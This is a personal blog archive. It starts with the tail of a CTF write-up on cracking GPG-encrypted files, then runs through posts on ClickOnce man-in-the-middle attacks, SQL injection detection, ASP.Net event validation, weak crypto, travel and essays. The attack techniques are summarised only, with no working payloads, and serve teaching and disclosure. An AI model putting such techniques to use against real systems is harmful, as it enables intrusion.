
After you brute-forced all the blocks and matched up their corresponding filetypes from the code, you were left with a slew of images, an mp3, several textfiles, and two very promising files with the extensions .key.gpg and .txt.gpg. Upon examining these files with gnupg, you found that .txt.gpg was an asymmetrically encrypted file with a key you did not possess; and .key.gpg was symmetrically encrypted with a passphrase you did not know.

You discovered that in the .key.gpg file - either through verbose gnupg output, looking at it in a hex-editor, or by running strings - there were a number of userid and marker packets at the end of the file. (The OpenPGP file format is a collection of different types of packets.) These extra packets contained the string "dot", "dash", or "PGP". Dot and dash were morse code, and PGP was the letter-delimiter, and it decoded to the word 'morse' - which was the passphrase to the file.

Upon decryption, you had a .key file, which was the public and private key used to encrypt the second .txt.gpg file - but without any indicator of what the passphrase was. Again, either through gnupg options, a hex-editor, or the 'strings' utility - you found that the preferred keyserver for the key was set to a particular URL. When you visited it, you were given the passphrase, and the file decrypted to a text file containing the key for the CTF.

Aftermath

When the files were given to the teams, they also received a hint that the challenge would require brute forcing - Julian Cohen (one of the CTF organizers) and I argued back and force for a while about whether it was acceptable, and how much time it should take. I wanted the teams to only have enough time to run their program twice - while Julian felt it should be instant. He argued they didn't have much time (the competition was 5 hours for a half-dozen challenges) while I argued they should understand the code and write it correctly the first time - I didn't want the challenge to become trial and error. In the end, not only did they get a neutered keyspace (27 bits took me 5 minutes to run) but they received the challenge the night before. However, the hint given threw off at least one team - they spent a long time finding hash collisions in the first 27 bits of the MD5 output.

In the end, this was the challenge solved by the most teams. I don't know if it was because they spent more time on it than other challenges by receiving it early, because they could easily retrieve the code so the challenge was more accessible to them, or if it was just too darn easy. I'll have to start brainstorming next year's challenge... If you'd like to attempt the challenge yourself, you can download the multi-part file.

Bonus Trivia

This challenge is extremely small - the multi-part file weighs in at only 220KB, despite containing many photos and a small snippet of an mp3. While I had parts of the code from a project a year ago, the bulk of the challenge was actually written for a Hackers-Themed party in Brooklyn where I intended to distribute the challenge on 5 1/4" disks:

Unfortunately, both of my 5 1/4" drives not only didn't work, but blew out one of my motherboards. I had to resort to 3 1/2" disks. However, since only one of my friends I gave it to was even able to find a 3 1/2" drive, I decided to repurpose the challenge (adding the gpg elements, neutering the key) for the CTF. Apparently I could have handed out blank 5 1/4" disks and no one would have known the difference. As a final aside, in a fresh box of multi-colored 3 1/2" disks sitting on my shelf since the '90s, the green disks exihibited a much higher failure rate than the others: 7 dead green disks, 2 dead orange, 1 dead yellow, and 0 dead red or blue.

This writeup originally appeared on the Gotham Digital Science blog.

an explanation of ElGamal Encryption

09 Nov 2010 17:15:34 EST

There's a million and one explanations of how RSA Encryption works, but significantly fewer on ElGamal - which is used more often these days (at least, based on the default key selection in gnupg). I tried my hand at explaining it from near-first principles. I don't expect you to know any group theory, so I cover that, but you should know what modulo and asymmetric cryptography are. Here's my attempt at explaining ElGamal.

ClickOnce MITM Attacks

21 July 2010 00:44:23 EST

I wrote a bugtraq post about the Microsoft ClickOnce Installer/Updater system, and how it's relatively easy to strip away code signing and man-in-the-middle an update and inject your malicious code. Here's the writeup.

Detecting SQL Injection in a White-box Environment

07 June 2010 10:14:23 EST

The idea is simple. You want to detect SQL Injection, when you have full access to the code and a QA team. You need to audit massively complex code that spans several servers and involves validation that may be happening on any of them, or the client in javascript. You want to be able to bypass the javascript validation in whole - but not rewrite any javascript or do anything complicated - because you don't want to retrain any QA people - or even have to teach them what SQL Injection is.

The idea is you put a proxy between the client and the web tier that rewrites requests to be an injection, and run a trace on the database to see if the injection ever makes it into the query. It doesn't work in all cases, and sometimes there are better approaches - but it's another option, and it has a few advantages. Check out the article for diagrams, code, and some enhancement ideas.

why event validation exists in ASP.Net

01 May 2010 10:53:23 EST

The other day I had cause to trigger an event firing in ASP.Net without actually having the user trigger the event, so I went about figuring out how that worked. It was simpler than I thought it would be, and it got me thinking about triggering events maliciously. I put together a vulnerable sample project, went to trigger it, and ran smack into ASP.Net Event Validation - which exists to thwart this exact attack. Disappointing

But I remembered other cases where I had run into it, and I refreshed myself by reading K Scott Allen's blog posts (first result on google too!). Long story short, even though Event Validation exists, it may not always be turned on - because there are legitimate places where it makes life super annoying.

So here's how to hack it if Event Validation is turned off. And a good reminder to developers why you should think twice before disabling it on a single page (or god forbid - site-wide).

finding the columns in a user defined type in SQL Server and IISAPP in IIS 7

Apr 8 2010 16:00 EST

This took me way too long to figure out, so I'm blogging it. If you want to find the columns in the user defined type you just defined and forgot about here's what you do:

create type ImGoingToForgetThis table (
	[id] int,
	[ie] int,
	[if] int
)
--Now close your query window...
exec [sys].sp_table_type_columns_100_rowset 'ImGoingToForgetThis'

Likewise, if you want to run the iisapp.vbs utility in IIS7 - it was replaced. Instead drop this vbs script into %systemroot%/system32:

sub shell(cmd)    
	dim objShell
	dim result
	Set objShell = WScript.CreateObject( "WScript.Shell" )
	Set oExec = objShell.Exec(cmd)

	Do While Not oExec.StdOut.AtEndOfStream 
		output = oExec.StdOut.Read(1000)
		WScript.Echo output
	Loop
end sub

shell "C:\Windows\system32\inetsrv\appcmd.exe list wp"

i have created comments

21 Feb 2010 20:11 EST

I have given you all the ability to comment on my blog. It's something that's been horrendously lacking for quite some time, and my only excuse is that there are so few people reading this it doesn't make much of a difference. But now they are here and all 12 of my feed subscribers can come and comment.

It was actually more difficult than you'd expect, because I don't use any blog software - I write everything in HTML in emacs, and until the comments system, there was no database. So integrating it was both an exercise in architectural integrity, and philosophy - I didn't want to let you comment until the comments behaved the way I wanted them to. Mainly I wanted them to degrade gracefully, not slow down the page, and enable you to write a comment that was as thoughtful as a blog post, and formatted to same precision. The solution of course was *markdown* - which takes plain text like _this_ and changes it to this.

Oh, and since I rolled my own comment system, you'd be legitimately concerned about whether it was any good at escaping user input. I'll freely admit that I had it pretty much done, then found that every single comment field (Name, Website, Comment, Email) could be exploited. But I closed all that up. And I believe a man is only as good as his word: Exploit my comment system and I'll pay you $20. So go read my code which I've graciously provided, and start fuzzing. Here, this might help.

Update: Someone managed to break markdown, which in turn caused a javascript error in chrome. So whoever that was, identify yourself and I'll buy you a cookie =)

Second Update: My friend and general pythonista Jay Moiron broke my json encoding, proving his point that I should have used simplejson from the beginning. I relented, and fixed it.

Who's Your Survivor?

29 Jan 2010 07:36 EST

It's a well-popularized piece of trivia that during the State of the Union, one cabinent member stays behind, and doesn't attend, just in case someone manages to kill the first 17 or so people in the line of succession. 2 days ago (Jan 27, 2010), Shaun Donovan (Secretary of Housing and Urban Development) was the designated survior. As an aside - he wouldn't actually have been sworn in, as Secretary of State Hillary Clinton was in London and hence would have succeeded. (One must wonder about the logistics of who gets to have a nuclear football in times like those.)

Anyway, several years ago I interned at Bare Necessities (semi-NSFW) where I absorbed a wealth of information about female undergarments that seems out-of-context and creepy today. But besides learning the difference between a G-String and a Thong, I learned something about Operation Management. Apparently one day, the entire tech team (5-6 people) went out for a sit-down lunch, and when they got back the site was down and had been for about an hour. After that, there was a semi-joke, semi-serious rule that the entire tech team could not go out to lunch together.

Reddit learned that lesson yesterday. To summarize the post, 3/4 of their tech team was at google interviewing Peter Norvig, and the other 1/4 was in NYC going to meetings. The site suffered an ad attack followed by an outage - and the best the could do was huddle in Google's lobby working on laptops to fix it.

At my current job, there are around 2 dozen people who have access to production, split amongst Database Guys, Development, and Infrastructure. We have on-call lists, with priorities running down, and automated alerts - we're pretty good about it. But then I realized - what's the one event, that usually (not always, but usually) manages to incapaitate >85% of the entire tech team? That's right - Company Party. It's never come up, to my knowledge, but the thought of my bosses, slightly-to-very intoxicated, huddled around the single guy who brought his laptop to the party - all wanting to just rip it out of his hands and do it themselves - well, it amuses me.

Architecture of Buenos Aires

27 Jan 2010 04:36 EST

Before I decided to major in Computer Science, I looked at schools for Architecture. And while I obviously never majored in it, I still am drawn to it. I eventually ran across a blog called Scouting NY a year or so ago, and it instantly became one of the feeds I would look forward to in my feed reader. The Scout's job is to scout locations for films, and in doing so he blogs about some of the interesting things you can see in NYC if you actually pay attention. He's shown me some amazing sights in New York - and even better he's taught me to open my own eyes and find them for myself. I thought I would pay him some homage and show three buildings that have struck me while I'm staying in Buenos Aires.

Firstly, I have this building - which I know nothing about. It's on Belgrano a few streets south of Plaza de Mayo - and as far as I know it just an apartment building. But compare it to the buildings next to it - it's clearly an order of magnitude more impressive. Take a look at the facade - the tiny faux-balconies, the columns running down it, and the bay windows at the corner.

And then there's two incredible sets of ornamentation. First is the statutes. In Buenos Aires they're refered to as Las Caras - literally The Faces. Each seems to be supporting the weight of the building on his shoulders, and each is slightly different - one is holding a pickaxe, another a chain.

The other piece of ornamentation is the eagles near the top of the building. Above the eagles, there is what appears to be a private balcony - and above that are the towers. It looks like one of the spires has a crown on top and the other a weathervane. The bottom of the building is shop or restaurant space that is for sale.

The next building is about as opposite as you can get - but I still love it. It's an all-concrete structure built in the 60s or 70s. It's located in the banking district - near Buenos Aires' Wall Street equivalent, with narrow streets that make it impossible to get a good shot of the entire building from the street. As we move down towards the front door you can see the structure of the building opening up into a sunk-back front door. Complete with an amazing meeting room above the street.

The last building is the most beautiful building I think I have ever seen. I'll give you the glamour shot and just get it over with.

This is one of three buildings for the School of Engineering at UBA (University of Buenos Aires). The building began construction in 1912, it has a segment on the Spanish Wikipedia. The architect was a man named Arturo Prins, and there's some intrigue as to his death - my Spanish is not that great, and google translate does its best but isn't perfect - the rumor is that he committed suicide because he wasn't able to complete the building due to funding and construction miscalculations. In fact, I'm unable to determine the provenance of this photo but if you were to take it at face value - the building is only half as tall as it should be!

As you move around the building, the most striking feature to me is the dual balconies. (I'm actually not entirely sure they are balconies - they may be inaccessible except for climbing through windows - but I would find that difficult to believe.) The first balcony is immense - large enough for a snazzy cocktail party overlooking the street. It reminds me of Gaudí's immense plaza above a plaza in Park Güell in Barcelona. Above that is smaller balcony that reminds me of the elite of the elite looking down on their subjects. (Okay, actually, it reminds me of the balcony scene in the first Spider-Man.)

Slide around the corner, and you see another balcony running along the side of the building. If there was ever a place to hold a fancy reception on a Spring Evening - this would surely be it. Looking at it from the back, we can see that it is rather massive. However, it has also acquiesced to time. A giant tower projects out of it, and it is in poor repair. Grass grows out of its roof, the entire thing needs to be repointed to repair the brickwork (and having looked into that for a building much smaller - I can tell you that's a >$10m project), and I'm not sure why but there are support beams protruding from some corners and areas. There seems to be a large family of cats living in its backyard also.

I don't know what will happen to this building - The Engineering School has two other, much newer and much larger buildings. This particular building is in a very nice area of town, with a lot of shops and even more apartment buildings, next to a park, on a major street. Taken all together... it wouldn't look good. I don't know if it's protected by any laws, if it's being repaired, or any rumors regarding its fate. But I sincerely hope it gets repaired, and in a manner that preserves the look of it (specifically the brick coloring). In closing, I'll leave you with my favorite place to be in all of Buenos Aires.

simple crypto pack

17 Jan 2010 20:43:00 EST

Every so often I run into some simple (or not-so-simple) cipher and I'm curious what it means. And every time I end up writing the same PHP scripts to shift all the letters and try various vigenere keys. I figured I might as well just write them well once and be done with it. ("Well", is of course, relative.) They're not all that sophisticated, and they're not designed to be "fire-and-forget", they require you to do some analysis yourself and find what fits. But maybe they'll help you with the newspaper cryptogram.

The code is available on github.

Also, to my 12 rss readers, who were inundated by a complete push of all my old articles - I apologize. I redid the guids for the posts, when I rewrote my site this weekend (yes, again), so they were pushed to you as duplicatess.

bruce schneier is wrong

28 Dec 2009 21:45:23 EST

Bruce Schneier is wrong. There, I said it. Specifically, he's wrong in one of his recent essays Reacting to Security Vulnerabilities, and he's wrong in the suggestions he makes.

He states there are several reasons to "do nothing. ... Don't panic. Don't change your behavior. Ignore the problem, and let the vendors figure it out." They are:

It's hard to figure out which vulnerabilities are serious and which are not. ... The press either mentions them or not, somewhat randomly; just because it's in the news doesn't mean it's serious.
It's hard to figure out if there's anything you can do. ... Some vulnerabilities have surprising consequences. The SSL vulnerability mentioned above could be used to hack Twitter.
The odds of a particular vulnerability affecting you are small. There are a lot of fish in the Internet, and you're just one of billions.
Often you can't do anything. These vulnerabilities affect clients and servers, individuals and corporations. A lot of your data isn't under your direct control -- it's ... in a cloud computing application.

He then gives a list of steps you should take to protect yourself client-side: anti-virus, updates, proper configuration, common sense, and backups. Those four points aren't wrong, they're all true. But his conclusion to ignore vulnerability reports is downright careless.

For the elements (servers, people, services, etc) within your sphere of influence - you should be keeping an eye on the vulnerabilities that can affect them.

Consider a recent flaw found in IIS. If you're vulnerable, it's a pretty serious hole you have open - lots of bad things can happen. Fortunately, three things are on your side, two of which Bruce stated: the odds of you meeting the criteria are small and if it does affect you the odds of someone finding and exploiting you are small. Furthermore, good to excellent sysadmins would already be protected from this (it's a subtle/tricky thing to protect against but still oft-advised.)

But none of these things matter after you get hacked. Then it's your data on the internet, it's your ass on the line, and it's you that I want to punch in the face after you leak my credit card. You can't claim "I was waiting for the vendor" - Microsoft isn't going to apologize and make everyone's credit cards come back home. You can't stand in front of the CEO and say "The odds of this happening were so low we didn't think it was worth protecting against."

The fact of the matter is the tradeoff of reviewing vulnerabilities and at the very least being aware of what you're vulnerable to is low-cost/high-reward. Let's take a look at the cost: Add a few firehoses of information into google reader and skim through them in 5 minutes a day while having your coffee.

Do I use the app/protocol that's vulnerable? That knocks out about 95% of the reports.
Is it a client app? VLC? Windows Media Player? Don't care. These are all relegated to either social engineering exploits (Click this link! Watch this video!) or fall into the category of things you can't fix (besides trying to bar people from using the app)
Is it a public-facing service/protocol/app I care about? Go read the damn vulnerability. You're probably at about 5-10 of these a week by now - tops.
Is it fixed in a new version? Do I use the new version? Since you're hopefully staying on top of updates this will probably knock out a third of them.
How do you exploit it? E.G.: If it involves uploading a file - do you allow file uploads anywhere? No? Awesome, you're safe! You don't know? Then... how are you managing the server if you don't know what it does? (Seems like you ought to work with your colleagues a little closer.) Or lets say the way to exploit it is really complicated or not explicitly stated, like the HTTPS vulnerability. Well, the fix for it will either be easy with little to no consequences (like disabling HTTPS renegotiation or adding 17 characters in a php file to protect against a Wordpress vulnerability) - so bloody do it and don't worry about it - or it will not be so easy.
Okay, so it seems to be vulnerable and the fix isn't that easy. This probably comes around like once every 3 months. Send out an email "I think hackers can X our Y" - that'll be sure to either A) Get people to respond that you're wrong and you're safe or B) That this is serious and you're now given the resources to get it investigated and fixed. No one wants to be the guy who says "Yea, I heard we might be vulnerable, but I asked him not to investigate it."

At this point, you're probably spending an hour a week doing this. And let me tell you - there is nothing more impressive to your boss than when he comes to you to ask about something he saw in the paper or in his feedreader and you can say "Yea, I looked at that vulnerability already and [we're not vulnerable/I closed the hole]."

I didn't pull these numbers out of thin air - I manage a half-dozen web apps and a few servers in either a semi-professional or professional capacity. If you're spending significantly more time you're probably doing it in a capacity where it's a formal part of your job in which case there's nothing to complain about. Bruce Schneier is wrong - it's our responsibility to stay on top of vulnerabilities and mitigate them when we can to protect our computers, businesses, and our clients' data.

The most important thing is that it's your job to keep your stuff secure - not anyone else. If it was their responsibility - it'd be their stuff.

i have a love/hate affair with sql

10 Dec 2009 14:15:23 EST

It's so much fun to optimize but it's neither deterministic nor logical.

updated travel page

7 Dec 2009 00:15:23 EST

I updated the travel page with some GPS coordinates of my move down to Buenos Aires. I successfully navigated security with a ton of hardware in my carry-on as well as one duffel with three LCD Monitors and another duffel with an entire desktop computer. TSA checked both bags and I got my carry-on searched twice in Mexico (but not in the US!) but none of it was damaged more than cosmetically, so huge win.

comparing loop hoisting in .net

8 Nov 2009 1:24:23 EST

During the same WAN Party that I built howdyougetthatscar.com I also got into an argument with John Bristowe and Phil Haack about, in succession, the foreach loop, IEnumerable, yield return, and then LINQ - and my mostly-unjustified hatred for all of them. Especially the foreach loop. I really hate that thing.

Anyway, I didn't exactly justify myself well on these topics, so my plan this weekend was to write a long blog post explaining and proving that the foreach loop is to efficiency what the goto is to programmer sanity. But somehow I got sidetracked, and before I knew it I was actually using the extremely frightening WinDbg - something I had only seen the likes of crazy haskell programmers using.

The result of this epic sidetrack was somehow that I ended up comparing loop hoisting.

for(i=0; i<collection.Count; i++) 
    vs 
int c=collection.Count; 
for(i=0; i<c; i++)

So if you want to take an adventure through IL all the way down to the Assembly, and find out which one is actually more efficient follow me down the rabbit hole. The answer will surprise you.

how'd you get that scar?

5 Nov 2009 10:24:23 EST

Have you ever had to explain a random scar? And the real story isn't very good, so you need something better? There's a webapp for that. You're welcome internet.

I still need to add more words. And just for kicks I did it on a ridiculous framework, instead of a 5 line PHP file. I did it in ASP.Net MVC on Mono on my gentoo server. So three cheers for over-engineering.

not sleeping can be dangerous for your laptop

1 Nov 2009 10:37:23 EST

In a spurt of productivity, last night when I got home I decided that instead of sleeping, I was finally going to pave my laptop and install Windows 7. There's just one problem. My laptop is a netbook, and has no DVD drive. And after a couple hours of messing with a USB Key, I learned I can't get it to boot from a USB Key. It's probably the key, although it works fine on my desktop, but I got frustrated and decided to just install 7 from inside XP. Now I'm going to fast forward a bit and just tell you where I'm at now, not how I got there.

I am quad booting a netbook, by accident

Windows 7
Windows XP
Ubuntu 9.10
LiveCD of Backtrack 4 Pre-Release

Yes, it is a LiveCD, not an install, it reverts everytime I restart, and only take up a gig of space. It's a pretty novel idea, but it wasn't at all what I wanted. And on top of that, I still have two big blocks of unpartitioned space that I can't combine or move around.

And the worst part of this is that nothing works right. I can't get Windows 7 to let NetworkStumbler or Wireshark use my wireless connection, I can't get Ubuntu or Backtrack to even see my wireless connection, they certainly don't enable the touchscreen (although 7 does). The only operating system that actually works completely is the old one - XP. I can't move the partitions around. Frankly, I don't even know where or how Ubuntu installed itself! It seriously does not have it's own partition -according to what I can see, I think it installed itself inside of a disk container sitting on the ntfs filesystem of my XP partition and is coexisting somehow but that is madness! And most frustratingly I can't repave the machine cause I can't get it to boot from an outside source! I may try and use linux to overwrite the partition table and install a bootloader with images of the install dvds sitting in random spots of the hard drive, but that seems very careless and frought with peril.

On the other hand - I really really really really want someone to confiscate my netbook and try doing forensics on it cause I would laugh for a long time when they image it and start trying to figure out just what the heck is going on!

How to break the internet: Follow Standards

29 Oct 2009 11:07:23 EST

This probably isn't news to anyone, but the only reason society functions is because people break the rules. If everyone followed all the rules, we'd always be stuck in traffic. Oh and the internet would break.

I'm not even talking about boring stuff like writing CSS how it's supposed to be written - I'm talking about instead of sending a browser the HTML page, how about sending it what it actually requests. You know, a ClickOnce App. You see, there's the concept of an Accept Header that a browser sends, that's supposed to control what the webserver sends you in response. If you ask for HTML, it sends HTML, if it asks for XML, it sends XML, if you ask for JSON - json. Seems reasonable right? It's all REST-y and full of best practices warm fuzzy goodness. You almost want to cuddle up with it it's so happy-feely. Except if anyone actually obeyed it everything would break.

You see, Windows provides a way to hook into the Accept Header that IE sends, and as Raymond Chen is so apt to point out - if you give developers a way to do something, they're gonna abuse it. So, if you happen to run Internet Explorer (with Office installed), this is what your browser is sending:

  GET /web/index.html HTTP/1.1
  Host: RecessFramework.org
  Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application,
        application/vnd.ms-xpsdocument, application/xaml+xml,
        application/x-ms-xbap, application/x-shockwave-flash,
        application/x-silverlight-2-b2, application/x-silverlight,
        application/vnd.ms-excel, application/vnd.ms-powerpoint,
        application/msword, */*

So you're requesting, in order, a gif, a jpeg, a pjpeg, and then a ClickOnce App. And then a bunch of other Office apps and shit.

Now you can imagine just how quickly someone would get fired at Google, CNN, or Yahoo for deciding to actually honor IE's request. Good thing everyone ignores the Accept Header huh? (On the other hand, it's yet another way to identify IE users independent of User Agent...)

For more details on the header, what different browsers send, and some responses from the IE and Webkit teams, check out Kris Jordan's excellent post Unacceptable Browser HTTP Accept Headers (Yes, You Safari and Internet Explorer).

being prepared

14 Oct 2009 11:55:23 EST

It's rare for me to write an essay, as opposed to code, but this is something I've been thinking about recently. Someone's been ribbing me recently about "being prepared" - partially because I happen to be an Eagle Scout, but partially because I also happen to always be prepared. I suppose I do fit the superficial model of being prepared. I carry a pocketknife on me, I have a change of clothes in my trunk, I keep emergency cash handy, I try not to let my gas tank get too empty, and so on. But as I've grown older, I've discovered there are three parts to "being prepared".

First and foremost is what you have. It's the easiest, it's the most superficial. If you're going camping and you're not bringing duct tape - you're not prepared. Same with a first aid kit, cleaning supplies, or a tent. This is what most people think of when they hear "that guy is prepared". They hear "that guy has a lot of crap". And it's handy, don't get me wrong. It can get you out of jams - once I landed in Madrid, completely alone, and discovered that when they say the Mastercard would "work everywhere" what they meant was "it'll work anywhere it's accepted" - which was nowhere in Spain or France. Lucky I had a hundred USD to change and get a metro ride into the city where I could get to a bank. Here's the thing though - it's not important. At least, not compared to the other ones.

The next part of being prepared is what you know. If you've got a snakebite kit and no idea how to use it, but you saw on TV that some guy made hash marks with a knife and sucked out the venom - congrats you're a detriment to your friend's life. You need to know what to do and how to do it when you find yourself in an emergency. Whether it's first aid because someone just cut their artery on a kitchen knife, or you're getting mugged in a foreign city. Here's an example of not knowing what to do. My car broke down - the engine overheated. A guy stops, and drops off two gallons of water - then he takes off. I have a gallon of coolant in my trunk (that's right, I had everything I needed). And what did I do? I fake-remembered that water cools better than coolant, so I dumped the water in the radiator, and started driving. I didn't get too far - I just boiled off all the water. Coolant has a higher boiling point than water. That's why you mix them. I had everything I needed to accomplish my goal, but I failed because I didn't know what to do.

The last part of being prepared is the most subtle. You have to keep yourself together under pressure. This is often what people consider manliness to be - keeping a rational head in the midst of a crisis and delaying your emotional reaction so others can rely on you. If you have a T-Shirt and you know to apply pressure and keep the wound elevated, but you can't hold it together at the sight of a lot of blood - you're not helping anyone. Or closer to home - your car just broke down. In 5mph bumper-to-bumper traffic, no shoulder, as a lane is merging in from the right, in a tunnel. What do you do? I've been there. And I'm not going to say I handled myself flawlessly. I snapped at my friend that I was doing the best I damn well could. But I survived, and it could have been a whole lot worse if I didn't hold myself together as well as I did.

So here's the thing guys (and gals). Being prepared is an admiral quality and don't let anyone tell you differently. But it's more than how much crap you have in your pockets. So start easy - take the baby steps. Put a first aid kit in your car, an extra twenty behind your mom's photo, and a roll of duct tape in your camping supplies. Now, go take a CPR class, ask your EMT friend how to treat a half-severed finger or a cut vein or artery. Then practice it, remember it, and refresh your memory until it's more than memory - it's a reaction. They don't call it muscle memory for nothing. Finally, here's the hardest thing to do: push your comfort zone. Do things that make you nervous; whether it's ordering at that fast-paced no-nonsense deli or navigating a new city by yourself. Build up your confidence. Then when you get into a jam - just stop, breathe, and remember, you've handled lots of other difficult things and you can handle this. That way the next time your car breaks down - you won't.

super cool javascript hackery

11 Oct 2009 11:08:23 EST

This is a post I've had in the works for months now. It's about modifying javascript functions on the fly. I know, that's old hat, you can replace the function to do whatever. That's not what I'm talking about. I'm talking about modifying the function in place to do something slightly different... using string manipulation. I know, horrible idea, ridiculous maintenance, tons of regressions. I'm not advocating it's use - I'm saying it's damn cool. And what's more, javascript is the only language you can do it in (that I've heard of or seen). So check it out, and decry my abuse of the language and see how I show you that you can't do it in Lisp. Really.

server configuration published

16 Sep 2009 9:21:23 EST

I run a gentoo server as my router. It acts as a firewall, router, DNS and DHCP server, a media server, backup, and does some other useful stuff, like segmenting random strangers using my wireless from my computers - helps prevent worms. Something I've been working on for a little bit is getting all my the scripts I use to run it published. I've finally finished. So at this link you can find an explanation of how things work, all the scripts, and some of the more complicated config files.

crypo.biz followup

15 Aug 2009 14:20:23 EST

After I posted my last article about crypo.biz and their "military-grade encryption algorithm" I got an e-mail from the author of the site and code. I called him out on his code, and he called me out - sending me a giant encrypted message and challenging me to break it. Fair's fair, now I have to put my money where my mouth is.

people who shouldn't do crypto, doing crypto PART 2!

08 Aug 2009 00:12:23 EST

I didn't really think this would turn into a series, but part 2 has arrived! crypo.biz is a site boasting Military Grade 1280-bit Encryption Algorithm. Now that your bullshit detector has gone off, you can read about their shoddy algorithm and see the reverse-engineered code. I wanted to build a cracker for it, but I spent a while getting back into C, and decided I shouldn't spend much more time on this project, so I submitted it to reddit for others to look at.

finally put up a travel page

15 Jun 2009 00:02:23 EST

So there's a million things I could have done and I didn't really do any of them - but I finally put up the travel page with some actual content. It's just a google map with some trip lines drawn and cities pinned. No info-windows, no stories, nothing too revolutionary. If you want to here the gory, sexy, gritty details - buy me a drink.

people who shouldn't do crypto, doing crypto

16 May 2009 22:12:15 EST

Does this disqualify me from no more free bugs? I found a pretty horrific security vulnerability in a website not to be named, and reported it. It was silly-easy to exploit, there was no particular cleverness on my end. I've put up a new code adventure about it. Suffice to say I could have done an awful lot of incredibly dangerous (and lucrative!) theft, and if I did it wrong I would have gone to jail for a longish time. When I found it, and successfully exploited it, I sat back, and remembered something Richard Feynman said in one of his books.

I went on and checked some things, which fit, and new things fit, new things fit, and I was very excited. It was the first time, and the only time, in my career that I knew a law of nature that nobody else knew. The other things I had done before were to take somebody else's theory and improve the method of calculating

So this was the first time (so far) that I knew some incredible zero-day that no one else knew. And I rushed out to explain it to my roommate and I was excited. So read about it, and then you'll think we'll that's obvious and of course it is. But out of the thousands and thousands who could have found it and exploited it - I did it.

reading list

11 May 2009 22:12:00 EST

this must be house-cleaning time, because in addition to my bucketlist, I've also published my RSS reading list in OPML format. It easy enough to read that you can skim it or if you're super-hardcore you can import the whole thing and weed out the lists you don't like!

the bucket list

7 May 2009 21:01:00 EST

I've finally gotten around to publishing a list I wrote up for Boldly Go Solo after they published an off-the-cuff list of extreme items. I suspect it will be published there soon, but I wanted to clear out my queue and put something new on the blog. So without further adieu, check out my list of over a hundred extreme sports, events, destinations, and things to do before you die.

hacking .net's clr

26 Apr 2009 13:08:00 EST

After Devscovery I've been trying to decipher the magic behind .Net lately, reading the beginning chapters of CLR via C# and playing around. Well I'm not quite sure what prompted me to do this, but I ended up looking into the binary of the assemblies produced by a simple Hello World program. I diffed the assemblies between two runs on the same machine, between two runs on different machines, and between Debug and Release mode. Most of it wasn't too surprising, I think the biggest surprise was in just how much I was able to figure out. If I knew PE Headers as well as some people I'd have deciphered even more. If you have a demented mind as mine, you can read the article and enjoy the hex: hacking the clr: diffing assemblies.

rss feed!

19 Apr 2009 14:29:00 EST

I am no longer a hyprocrite. I implemented an RSS feed for the site. It was a little tricky, considering I don't use a database or anything of the sort, but it works (I think). I outlined how I did it in an update of my code adventures - making the site post.

authentication poc

07 Apr 2009 16:29:00 EST

I added a new Proof of Concept - this one on an authentication idea I had for lost passwords. Secret Questions suck, picking your own secret question sucks. Filling out a form of 100 items really sucks. Picking a few questions to answer out of 100 questions sucks because you have to read them all. But if we organize the questions in a way that they're very easy to "skim" we can present the user or attacker with 100 choices of questions to answer.

I also changed around some styles to try and make the site more readable.

rfid reader

04 Apr 2009 16:17:00 EST

This is what I really worked on two weeks ago. I wired up an RFID Reader to a bowl of candy and had the router freak out whenever someone took a piece. Read about it in Code Adventures: RFID Experimentation.

code update

22 Mar 2009 12:42 EST

I updated the site just a tad. Some CSS tweaks on the menu (it will now stay fixed as you scroll) and a javascript tweak I detailed in the appropriate adventure.

man up

18 Mar 2009 17:50 EST

I generally confine my linking to pages without mentioning it here (you do see the updated dates on the right, right?) but this link didn't fall into a ready category but was worth linking to. The Art of Manliness is a blog about what it sounds like, and one of their recent articles was rather poignant: The Hard Way.

It's about your grandparents. In a manner of speaking. My grandfather worked hard, damn hard and had a lot to show for it. He didn't take shortcuts. He didn't read any "For Dummies" books. He sure as hell didn't try some "super-easy diet plan". He worked. Hard. I'm going to be a complete tool and steal all the article's bolded lines.

Our lives have come to resemble those of tourists, wanting the experience, but not wanting to stay long enough to risk experiencing the realities that come with permanence and commitment.
With each new fresh-faced superstar, the idea of success as a secret formula to be unlocked rather than something to be worked for is slowly cemented into our brains.
We cut corners and call it 'optimizing'. We take the path of least resistance and dress up our cowardice in the guise of efficiency. And in doing so, we're killing ourselves, one life-hack at a time.
doing things that are hard molds boys into men of strength and character.
But, what makes the hard way so important for men is not just the end result, but the character built along the way.
Men who finish a marathon rather than simply starting a million sprints.

right... I was doing that all along!

11 Feb 2009 13:34 EST

If you've seen my Bastardizing a Backup Adventure in Code, I should note that there's this really cool thing called webhooks that work like that. And they're actually pretty useful, and awesome, and I totally was following that model when I came up with my crazy ass idea. Yea. Totally

Seriously though, it's always enjoyable when you discover that some idea you came up with independently is an actual useful item. It's usually fleshed out a little bit better, and you rarely have the idea first, but it's cool.

why I hate perl

18 Jan 2009 12:36 EST

Just so you know guys, this is why everyone who does know how to program well in some other language hate perl.

if(false){
print "Seriously.  What the fuck.";
}

I bet there's some semi-logical reason, once you know gobs of perl, why this would possibly make sense. But for everyone else it cannot make any sense at all. And there are dozens of similar little things that prevent you from writing more than 5 lines at a time without testing them to make sure they do exactly what you think they should do.

i got project upstream-ed

06 Jan 2009 12:17 EST

Project Upstream is a social network experiment that randomly connects two people via an AIM connection. Here's a better description. Suffice to say I tweeted at work, and got Project Upstream-ed. I googled the screenname immediately to figure out what was going on, found a list, and then read about the project.

Session Start (MyScreenname:accusatorycoho): Tue Jan 06 11:58:26 2009
[11:58] accusatorycoho: I hope your day is wonderfully amazing, just like you!
[12:01] accusatorycoho: eh?
[12:01] MyScreenname: yea - happened to me too. it's a social networking experiment. i didn't actually send you the IM
[12:02] MyScreenname: look here: http://innerworkingsofaspacecase.blogspot.com/2008/07/project-upstream.html
[12:02] MyScreenname: and i'm not sure what screenname you see; but it isn't mine. (neither of us has any idea who the other is)
[12:02] accusatorycoho: okay, and?
[12:03] MyScreenname: and nothing. they expect us to chat or something. i dunnoe.
[12:03] accusatorycoho: oh, weird.
[12:04] MyScreenname: it's an interesting concept; but i'm at work so i can't really chat.
[12:04] MyScreenname: have a nice day though
[12:04] accusatorycoho: you as well.
[12:04] accusatorycoho: later

man in the middle attack

2 Jan 2009 23:17 EST

Two updates in one day?! Crazy! Anyway, I thought this was too interesting not to post. Here's a man-in-the-middle attack out in the wild. The person actually thought it was a Firefox bug, because of all the invalid SSL certificates they got. After some investigating - yup, she was getting haxxed.

fastest data transfer protocol

2 Jan 2009 13:48 EST

